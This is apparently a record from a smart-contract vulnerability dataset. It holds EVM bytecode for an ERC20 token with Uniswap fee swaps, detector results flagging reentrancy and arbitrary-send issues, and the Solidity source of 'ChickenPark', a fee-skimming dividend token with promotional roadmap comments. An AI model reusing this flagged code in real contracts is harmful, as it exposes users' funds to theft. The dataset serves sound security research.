054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3826134839f1d8d12fa3b12d2aa6cc81282c97d1f8658b2e9fe20024665951a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,548 |
0x211f3175e3632ed194368311223bd4f4e834fc33
|
pragma solidity ^0.4.24;
// _____ _ _ _ _____ _
// / ____| | (_) | | | __ \ | |
// | | | |__ _ ___| | _____ _ __ | |__) |_ _ _ __| | __
// | | | '_ \| |/ __| |/ / _ \ '_ \ | ___/ _` | '__| |/ /
// | |____| | | | | (__| < __/ | | | | | | (_| | | | <
// \_____|_| |_|_|\___|_|\_\___|_| |_| |_| \__,_|_| |_|\_\
// ------- What? -------
//A home for blockchain games.
// ------- How? -------
//Buy CKN Token before playing any games.
//You can buy & sell CKN in this contract at anytime and anywhere.
//As the amount of ETH in the contract increases to 10,000, the dividend will gradually drop to 2%.
//We got 4 phase in the Roadmap, will launch Plasma chain in the phase 2.
// ------- How? -------
//10/2018 SIMPLE E-SPORT
//11/2018 SPORT PREDICTION
//02/2019 MOBILE GAME
//06/2019 MMORPG
// ------- Who? -------
//Only 1/10 smarter than vitalik.
//<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d0b1b4bdb9be90b3b8b9b3bbb5bea0b1a2bbfeb9bf">[email protected]</a>
//Sometime we think plama is a Pseudo topic, but it's a only way to speed up the TPS.
//And Everybody will also trust the Node & Result.
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data)public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract ChickenPark is Owned{
using SafeMath for *;
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
event Transfer(
address indexed from,
address indexed to,
uint tokens
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
event CKNPrice(
address indexed who,
uint prePrice,
uint afterPrice,
uint ethValue,
uint token,
uint timestamp,
string action
);
event Withdraw(
address indexed who,
uint dividents
);
/*=====================================
= CONSTANTS =
=====================================*/
uint8 constant public decimals = 18;
uint constant internal tokenPriceInitial_ = 0.00001 ether;
uint constant internal magnitude = 2**64;
/*================================
= CONFIGURABLES =
================================*/
string public name = "Chicken Park Coin";
string public symbol = "CKN";
/*================================
= DATASETS =
================================*/
// Tracks Token
mapping(address => uint) internal balances;
mapping(address => mapping (address => uint))public allowed;
// Payout tracking
mapping(address => uint) public referralBalance_;
mapping(address => int256) public payoutsTo_;
uint256 public profitPerShare_ = 0;
// Token
uint internal tokenSupply = 0;
// Sub Contract
mapping(address => bool) public gameAddress;
address public marketAddress;
/*================================
= FUNCTION =
================================*/
constructor() public {
}
function totalSupply() public view returns (uint) {
return tokenSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner` CKN
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Get the referral balance for account `tokenOwner` ETH
// ------------------------------------------------------------------------
function referralBalanceOf(address tokenOwner) public view returns(uint){
return referralBalance_[tokenOwner];
}
function setGameAddrt(address addr_, bool status_) public onlyOwner{
gameAddress[addr_] = status_;
}
function setMarketAddr(address addr_) public onlyOwner{
marketAddress = addr_;
}
// ------------------------------------------------------------------------
// ERC20 Basic Function: Transfer CKN Token
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(balances[msg.sender] >= tokens);
payoutsTo_[msg.sender] = payoutsTo_[msg.sender] - int(tokens.mul(profitPerShare_)/1e18);
payoutsTo_[to] = payoutsTo_[to] + int(tokens.mul(profitPerShare_)/1e18);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(tokens <= balances[from] && tokens <= allowed[from][msg.sender]);
payoutsTo_[from] = payoutsTo_[from] - int(tokens.mul(profitPerShare_)/1e18);
payoutsTo_[to] = payoutsTo_[to] + int(tokens.mul(profitPerShare_)/1e18);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Buy Chicken Park Coin, 1% for me, 1% for chicken market, 19.6 ~ 0% for dividents
// ------------------------------------------------------------------------
function buyChickenParkCoin(address referedAddress) notContract() public payable{
uint fee = msg.value.mul(2)/100;
owner.transfer(fee/2);
marketAddress.transfer(fee/2);
uint realBuy = msg.value.sub(fee).mul((1e20).sub(calculateDivi()))/1e20;
uint divMoney = msg.value.sub(realBuy).sub(fee);
if(referedAddress != msg.sender && referedAddress != address(0)){
uint referralMoney = divMoney/10;
referralBalance_[referedAddress] = referralBalance_[referedAddress].add(referralMoney);
divMoney = divMoney.sub(referralMoney);
}
uint tokenAdd = getBuy(realBuy);
uint price1 = getCKNPriceNow();
tokenSupply = tokenSupply.add(tokenAdd);
payoutsTo_[msg.sender] += (int256)(profitPerShare_.mul(tokenAdd)/1e18);
profitPerShare_ = profitPerShare_.add(divMoney.mul(1e18)/totalSupply());
balances[msg.sender] = balances[msg.sender].add(tokenAdd);
uint price2 = getCKNPriceNow();
emit Transfer(address(0x0), msg.sender, tokenAdd);
emit CKNPrice(msg.sender,price1,price2,msg.value,tokenAdd,now,"BUY");
}
// ------------------------------------------------------------------------
// Sell Chicken Park Coin, 1% for me, 1% for chicken market, 19.6 ~ 0% for dividents
// ------------------------------------------------------------------------
function sellChickenParkCoin(uint tokenAnount) notContract() public {
uint tokenSub = tokenAnount;
uint sellEther = getSell(tokenSub);
uint price1 = getCKNPriceNow();
payoutsTo_[msg.sender] = payoutsTo_[msg.sender] - int(tokenSub.mul(profitPerShare_)/1e18);
tokenSupply = tokenSupply.sub(tokenSub);
balances[msg.sender] = balances[msg.sender].sub(tokenSub);
uint diviTo = sellEther.mul(calculateDivi())/1e20;
if(totalSupply()>0){
profitPerShare_ = profitPerShare_.add(diviTo.mul(1e18)/totalSupply());
}else{
owner.transfer(diviTo);
}
owner.transfer(sellEther.mul(1)/100);
marketAddress.transfer(sellEther.mul(1)/100);
msg.sender.transfer((sellEther.mul(98)/(100)).sub(diviTo));
uint price2 = getCKNPriceNow();
emit Transfer(msg.sender, address(0x0), tokenSub);
emit CKNPrice(msg.sender,price1,price2,sellEther,tokenSub,now,"SELL");
}
// ------------------------------------------------------------------------
// Withdraw your ETH dividents from Referral & CKN Dividents
// ------------------------------------------------------------------------
function withdraw() public {
require(msg.sender == tx.origin || msg.sender == marketAddress || gameAddress[msg.sender]);
require(myDividends(true)>0);
uint dividents_ = uint(getDividents()).add(referralBalance_[msg.sender]);
payoutsTo_[msg.sender] = payoutsTo_[msg.sender] + int(getDividents());
referralBalance_[msg.sender] = 0;
msg.sender.transfer(dividents_);
emit Withdraw(msg.sender, dividents_);
}
// ------------------------------------------------------------------------
// ERC223 Transfer CKN Token With Data Function
// ------------------------------------------------------------------------
function transferTo (address _from, address _to, uint _amountOfTokens, bytes _data) public {
if (_from != msg.sender){
require(_amountOfTokens <= balances[_from] && _amountOfTokens <= allowed[_from][msg.sender]);
}
else{
require(_amountOfTokens <= balances[_from]);
}
transferFromInternal(_from, _to, _amountOfTokens, _data);
}
function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data) internal
{
require(_toAddress != address(0x0));
address _customerAddress = _from;
if (_customerAddress != msg.sender){
// Update the allowed balance.
// Don't update this if we are transferring our own tokens (via transfer or buyAndTransfer)
allowed[_customerAddress][msg.sender] = allowed[_customerAddress][msg.sender].sub(_amountOfTokens);
}
// Exchange tokens
balances[_customerAddress] = balances[_customerAddress].sub(_amountOfTokens);
balances[_toAddress] = balances[_toAddress].add(_amountOfTokens);
// Update dividend trackers
payoutsTo_[_customerAddress] -= (int256)(profitPerShare_.mul(_amountOfTokens)/1e18);
payoutsTo_[_toAddress] += (int256)(profitPerShare_.mul(_amountOfTokens)/1e18);
uint length;
assembly {
length := extcodesize(_toAddress)
}
if (length > 0){
// its a contract
// note: at ethereum update ALL addresses are contracts
ERC223ReceivingContract receiver = ERC223ReceivingContract(_toAddress);
receiver.tokenFallback(_from, _amountOfTokens, _data);
}
// Fire logging event.
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
}
function getCKNPriceNow() public view returns(uint){
return (tokenPriceInitial_.mul(1e18+totalSupply()/100000000))/(1e18);
}
function getBuy(uint eth) public view returns(uint){
return ((((1e36).add(totalSupply().sq()/1e16).add(totalSupply().mul(2).mul(1e10)).add(eth.mul(1e28).mul(2)/tokenPriceInitial_)).sqrt()).sub(1e18).sub(totalSupply()/1e8)).mul(1e8);
}
function calculateDivi()public view returns(uint){
if(totalSupply() < 4e26){
uint diviRate = (20e18).sub(totalSupply().mul(5)/1e8);
return diviRate;
} else {
return 0;
}
}
function getSell(uint token) public view returns(uint){
return tokenPriceInitial_.mul((1e18).add((totalSupply().sub(token/2))/100000000)).mul(token)/(1e36);
}
function myDividends(bool _includeReferralBonus) public view returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? getDividents().add(referralBalance_[_customerAddress]) : getDividents() ;
}
function getDividents() public view returns(uint){
require(int((balances[msg.sender].mul(profitPerShare_)/1e18))-(payoutsTo_[msg.sender])>=0);
return uint(int((balances[msg.sender].mul(profitPerShare_)/1e18))-(payoutsTo_[msg.sender]));
}
}
|
0x6080604052600436106101a05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a5578063095ea7b31461022f57806318160ddd1461026757806319fb361f1461028e57806323b872dd146102ff578063313ce567146103295780633c774dbb146103545780633ccfd60b14610368578063465346491461037d57806351d318221461039e5780635c658165146103bf578063688abbf7146103e6578063691ec7101461040057806370a0823114610421578063710b318b1461044257806379ba5097146104575780637a9df8c01461046c578063843a7f74146104845780638da5cb5b1461049957806395623641146104ca57806395d89b41146104df578063a9059cbb146104f4578063c664f7f114610518578063cae9ca5114610539578063d1f2f971146105a2578063d4ee1d90146105b7578063dd62ed3e146105cc578063dde4a70b146105f3578063e1456cb41461060b578063ec68197b1461062c578063f28d253d14610652578063f2fde38b14610667578063f32a547c14610688575b600080fd5b3480156101b157600080fd5b506101ba6106a0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f45781810151838201526020016101dc565b50505050905090810190601f1680156102215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023b57600080fd5b50610253600160a060020a036004351660243561072b565b604080519115158252519081900360200190f35b34801561027357600080fd5b5061027c610792565b60408051918252519081900360200190f35b34801561029a57600080fd5b50604080516020601f6064356004818101359283018490048402850184019095528184526102fd94600160a060020a0381358116956024803590921695604435953695608494019181908401838280828437509497506107d59650505050505050565b005b34801561030b57600080fd5b50610253600160a060020a0360043581169060243516604435610877565b34801561033557600080fd5b5061033e610a4c565b6040805160ff9092168252519081900360200190f35b6102fd600160a060020a0360043516610a51565b34801561037457600080fd5b506102fd610d92565b34801561038957600080fd5b5061027c600160a060020a0360043516610ea2565b3480156103aa57600080fd5b506102fd600160a060020a0360043516610ebd565b3480156103cb57600080fd5b5061027c600160a060020a0360043581169060243516610f03565b3480156103f257600080fd5b5061027c6004351515610f20565b34801561040c57600080fd5b50610253600160a060020a0360043516610f63565b34801561042d57600080fd5b5061027c600160a060020a0360043516610f78565b34801561044e57600080fd5b5061027c610f93565b34801561046357600080fd5b506102fd610f99565b34801561047857600080fd5b506102fd600435611021565b34801561049057600080fd5b5061027c611340565b3480156104a557600080fd5b506104ae611392565b60408051600160a060020a039092168252519081900360200190f35b3480156104d657600080fd5b506104ae6113a1565b3480156104eb57600080fd5b506101ba6113b0565b34801561050057600080fd5b50610253600160a060020a036004351660243561140b565b34801561052457600080fd5b5061027c600160a060020a0360043516611548565b34801561054557600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610253948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061155a9650505050505050565b3480156105ae57600080fd5b5061027c6116bb565b3480156105c357600080fd5b506104ae611722565b3480156105d857600080fd5b5061027c600160a060020a0360043581169060243516611731565b3480156105ff57600080fd5b5061027c60043561175c565b34801561061757600080fd5b5061027c600160a060020a03600435166117cf565b34801561063857600080fd5b506102fd600160a060020a036004351660243515156117e1565b34801561065e57600080fd5b5061027c611823565b34801561067357600080fd5b506102fd600160a060020a03600435166118bb565b34801561069457600080fd5b5061027c600435611901565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156107235780601f106106f857610100808354040283529160200191610723565b820191906000526020600020905b81548152906001019060200180831161070657829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546009546107d09163ffffffff6119c716565b905090565b600160a060020a038416331461084057600160a060020a03841660009081526004602052604090205482118015906108305750600160a060020a03841660009081526005602090815260408083203384529091529020548211155b151561083b57600080fd5b610865565b600160a060020a03841660009081526004602052604090205482111561086557600080fd5b61087184848484611a3e565b50505050565b600160a060020a03831660009081526004602052604081205482118015906108c25750600160a060020a03841660009081526005602090815260408083203384529091529020548211155b15156108cd57600080fd5b670de0b6b3a76400006108eb60085484611d0b90919063ffffffff16565b8115156108f457fe5b600160a060020a03861660009081526007602052604090208054929091049091039055600854670de0b6b3a76400009061093590849063ffffffff611d0b16565b81151561093e57fe5b600160a060020a03858116600090815260076020908152604080832080549690950490950190935590871681526004909152205461097c90836119c7565b600160a060020a03851660009081526004602090815260408083209390935560058152828220338352905220546109b9908363ffffffff6119c716565b600160a060020a0380861660009081526005602090815260408083203384528252808320949094559186168152600490915220546109fd908363ffffffff611d9916565b600160a060020a038085166000818152600460209081526040918290209490945580518681529051919392881692600080516020611e6b83398151915292918290030190a35060019392505050565b601281565b6000808080808080333214610a6557600080fd5b6064610a7834600263ffffffff611d0b16565b811515610a8157fe5b6000549190049750600160a060020a03166108fc600289049081150290604051600060405180830381858888f19350505050158015610ac4573d6000803e3d6000fd5b50600b54604051600160a060020a03909116906002890480156108fc02916000818181858888f19350505050158015610b01573d6000803e3d6000fd5b5068056bc75e2d63100000610b4c610b30610b1a6116bb565b68056bc75e2d631000009063ffffffff6119c716565b610b40348b63ffffffff6119c716565b9063ffffffff611d0b16565b811515610b5557fe5b049550610b7887610b6c348963ffffffff6119c716565b9063ffffffff6119c716565b9450600160a060020a0388163314801590610b9b5750600160a060020a